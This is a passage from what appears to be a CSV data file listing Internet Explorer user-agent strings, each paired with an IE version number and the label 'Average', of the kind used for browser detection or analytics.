WOW64; Trident/8.0),,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop),10,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC),9,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50728),6,Average\nMozilla/5.0 (compatible; MSIE 9.11; Windows NT 6.2; Trident/5.0),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; Zune 4.7; BOIE9;ENUS),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; AS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; studenthousing.com; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATP; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENGBWOL; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Zoom 3.6.0),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAMIJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 5.22),5,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618),7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; ARM; Trident/7.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI/1; .NET4.0C; BRI/2),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;),6,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/7.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; WebMoney Advisor),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ARM; Trident/6.0; Touch),10,Average\nMozilla/5.0 (SAP NetWeaverBusinessClient; Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; FCTB100815; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; playbrytetoolbar_Playbryte),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; chromeframe/20.0.1132.47; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.1),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MAMD),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/7.0),11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 630) like Gecko,11,Average\nMozilla/5.0 (MSIE 9.0; Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8),7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Windows NT 6.1;),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MASBJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; BRI/1; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MANM; Media Center PC 6.0; BRI/2; MANM),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; yie9),9,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Zune 4.7; Tablet PC 2.0),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI/2; MDDRJS),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko,11,Average\nMozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASPJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5),6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MDDCJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MAAU),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0),9,Average\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt),5,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MAMD; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; AMD64),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; EIE10;ENUSWOL),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATMJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; BRI/2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618),7,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0; Creative AutoUpdate v1.40.01),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322),8,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MATBJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FCTB100291; .NET CLR 1.1.4322),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASAJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;ENUS),9,Average\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0),7.0,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; ASU2JS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; MAMD),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MAAU; MAAU),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MDDSJS),10,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MDDRJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; b2w 0.1),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;NLNLMSE),9,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0),6,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSNIP),9,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; playbrytetoolbar_Playbryte; yie8),8,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http://www.crystalsemantics.com/user-agent/),6,Average\nMozilla/5.0 (IE 11.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MASA; .NET4.0C; .NET4.0E; AskTbFWV5/5.15.29.67612),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI/1; BRI/2; MDDRJS),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASEJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAGWJS),10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSE; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; FunWebProducts; chromeframe/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; BRI/2; BOIE8;ENUS),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),10,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FREE; .NET CLR 1.1.4322),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FCTB100815; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MASEJS),10,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASPJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MANM),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASEJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; BOIE9;ENUS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0; InfoPath.3; BRI/2),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; PicMorphSearchToolbar 1.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSMCM),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C),10,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; FCTB100815; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; EIE10;ENCAWOL),10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; QwestIE8x64; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; .NET4.0C; .NET4.0E; EIE10;ENUSWOL),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts),9,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 920) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C),8,Average\nMozilla/5.0 (MSIE 8.0; Windows NT 6.0; Trident/7.0; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Average\nMozilla/4.0 (Windows; MSIE 6.0; Windows 